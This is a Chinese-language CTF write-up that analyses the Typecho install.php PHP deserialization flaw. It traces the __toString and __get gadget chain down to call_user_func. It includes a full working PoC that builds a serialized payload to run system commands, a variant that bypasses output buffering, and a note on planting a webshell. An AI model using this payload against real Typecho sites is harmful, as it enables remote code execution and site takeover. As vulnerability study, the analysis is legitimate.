Typecho反序列化漏洞分析

0x00 前言

在刷buu 的时候做到一道关于 Typecho 的题 ,[GKCTF2020]EZ三剑客-EzTypecho wp 中说到可以利用Typecho 的 反序列化 poc 来打,感觉直接用现成的poc 打,方便是方便,但是并没有深入了解这个漏洞。还是想深入了解一下这个漏洞,所以本着好奇和学习的态度,遂自己动手分析了一下 Typecho 的反序列化漏洞,加深理解

0x01 环境准备

首先 git clone 到本地,然后phpstorm 打开,
Typecho反序列化漏洞分析_第1张图片
git reset hard 到漏洞修复之前的commit
Typecho反序列化漏洞分析_第2张图片

0x02 审计过程

首先在install.php 开头就做出了两个判断,需要finish 参数以及refer头要是本站的值
Typecho反序列化漏洞分析_第3张图片
核心漏洞处:
Typecho反序列化漏洞分析_第4张图片
第一行直接反序列化Typecho_Cookie::get(’__typecho_config’),没有进行任何过滤
跟进Typecho_Cookie::get() 函数
在这里插入图片描述
发现此函数是用来取cookie 中的值的,但是如果对应的值没有,如果post中设置了也会成功取出。

然后取出值之后 new 了一个Typecho_Db 对象
Typecho反序列化漏洞分析_第5张图片
跟进Typecho_Db 构造函数:
Typecho反序列化漏洞分析_第6张图片
发现了直接把 传入进来的 $adapterName 进行了字符串拼接操作,那么如果$adapterName 是一个对象的话,就会触发__toString()魔术方法
Typecho反序列化漏洞分析_第7张图片
所以开始全局搜索fucntiong _toString() :
找到三个
Typecho反序列化漏洞分析_第8张图片
看了看Config.php 中的和 Query.php 中的都不怎么好利用,
query.php:
Typecho反序列化漏洞分析_第9张图片
config.php
Typecho反序列化漏洞分析_第10张图片
config.php里面感觉可以利用__sleep() 函数,但是全局搜索_sleep() ,没找到__sleep()
Typecho反序列化漏洞分析_第11张图片
Feed.php中的这个
Typecho反序列化漏洞分析_第12张图片
还有这个:
Typecho反序列化漏洞分析_第13张图片
发现使用了 $item[‘author’] ->screenName , 而这个 $item 是 $this->_items 里面循环出来的,是可以控制的,那我们就可以设法使用__get() 魔术方法,将$item[‘author’] 赋值为一个对象,那么对象中的screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法
所以接下来全局搜索 function __get(
共找到7个 :
Typecho反序列化漏洞分析_第14张图片
看了看其他六个好像并不能直接利用,然后Request.php 里面这个:
在这里插入图片描述
跟进$this->get
Typecho反序列化漏洞分析_第15张图片
函数最后调用了一个_applyFilter() 函数,跟进
Typecho反序列化漏洞分析_第16张图片

发现敏感函数 call_user_func ,而且里面的两个参数 $filter 来自 $this->_filter 循环出来的 ,$value 则是由上面get() 函数中传参进来的,也是可控的。那么我们就可以构造$\filter 为 system , $value 为 whoami ,就可以命令执行了

Poc :


class Typecho_Request
{
    private $_filter = array('system');
    private $_params = array('screenName'=>'whoami');
    //也可以直接写webshell
    //windows:
    //private $_params = array('screenName'=>'echo " ke.php');
    // linux:
    //private $_params = array('screenName'=>'echo " ke.php');
}
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const EOL = "\n";
    const DATE_RFC822 = 'r';

    private $_baseUrl ='1';
    private $_feedUrl ='1';
    private $_lang = '1';
    private $_subTitile = '1';

    private $_type = 'RSS 2.0';
    private $_items ;

    public function __construct(){
        // private 属性 赋值new 对象的时候不能直接赋值,要使用__construct() 函数来赋值
        $this->_items = array(
            array(
                'author' => new Typecho_Request(),'title'=>'1','link'=>'1','data'=>'1332427715',
            )
        ); 
    }

}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = '1';


echo base64_encode(serialize($config));
0x03 ob_end_clean() 引起的问题

但是直接用这个poc 打 发现并没有返回结果:
Typecho反序列化漏洞分析_第17张图片
查阅资料 :
https://www.anquanke.com/post/id/155306#h2-2中说到是因为开启了ob_start()
Typecho反序列化漏洞分析_第18张图片
install. php 中的ob_start()

Typecho反序列化漏洞分析_第19张图片
在Common.php中,存在一个异常捕获函数,会清空缓冲区
Typecho反序列化漏洞分析_第20张图片

在源代码中其实就是对应:
Typecho反序列化漏洞分析_第21张图片
把他注释掉,成功返回命令结果
Typecho反序列化漏洞分析_第22张图片
但是实际情况中不能直接去注释源代码,所以根据 https://www.anquanke.com/post/id/155306#h2-2 里说的,我们想办法让程序直接报错,退出不进行异常捕获,比如下面这里
Typecho反序列化漏洞分析_第23张图片
假如把$itemp[‘content’] 设置成 数组(一开始试着把$item[‘excerpt’]设置为数组,但是由于前面有一个strip_tags(),而strip_tags 处理一个数组不会报错,只会返回worring ),那么对数组进行字符串拼接操作就会报错 退出,程序就不会运行到异常捕捉那里,自然也不会进行ob_end_clean() 了,所以修改之后的payload为:


class Typecho_Request
{
    private $_filter = array('system');
    private $_params = array('screenName'=>'whoami');
    //也可以直接写webshell
    //windows:
    //private $_params = array('screenName'=>'echo " ke.php');
    // linux:
    //private $_params = array('screenName'=>'echo " ke.php');
}
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const EOL = "\n";
    const DATE_RFC822 = 'r';

    private $_baseUrl ='1';
    private $_feedUrl ='1';
    private $_lang = '1';
    private $_subTitile = '1';

    private $_type = 'RSS 2.0';
    private $_items ;

    public function __construct(){
        // private 属性 赋值new 对象的时候不能直接赋值,要使用__construct() 函数来赋值
        $this->_items = array(
            array(
                'author' => new Typecho_Request(),'title'=>'1','link'=>'1','data'=>'1332427715',
                // 添加 content 
                'content' => array(1,2),
            )
        ); 
    }

}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = '1';


echo base64_encode(serialize($config));

成功命令执行:
Typecho反序列化漏洞分析_第24张图片

0x04 总结:

1.在找反序列化利用链的时候,本次使用了__toString() ,__get() 魔术方法,关于找__get() 触发的地方,可以在相应的函数中搜索 ‘->’ 然后如果两边都是可控的话,就可以把左边设置为对象,后边设置为一个不存在的属性。

2.另外 assert() 在php 7 中变成了一个语言结构,在call_user_function 中就不能设置 assert 了,所以可以考虑设置 system 来执行系统命令

3.遇到异常捕捉中有ob_end_clean() 导致不能回显的话,可以设法让php 报错,不能执行到异常捕捉的地方,来实现绕过。

0x05 [GKCTF2020] EZ三剑客 EzTypecho

回到这道题目中来,题目加了一个session 判断,要求需要有session
Typecho反序列化漏洞分析_第25张图片
我们知道在 php 中 如果上传文件的同时 带一个带上php_session_upload_progress (session.upload_progress.name 值)字段,并且cookie带上PHPSESSID (session.name 值) ,那么服务端会自动为我们创建一个名为sess_加上我们cookie中带上的PHPSESSID值 的 文件。
其实只要session.use_strict_mode 是关闭的(默认值是 0 ) ,然后在cookie 中 带上PHPSESSID(session.name 的值) 就可以实现让服务端产生session 文件。
在这里插入图片描述
结合我们利用上面的poc ,发送如下数据包,成功命令执行
Typecho反序列化漏洞分析_第26张图片
也可以直接用上面脚本生成webshell
Typecho反序列化漏洞分析_第27张图片
然后蚁剑连接,成功得到flag:
Typecho反序列化漏洞分析_第28张图片

你可能感兴趣的:(CVE,复现,php)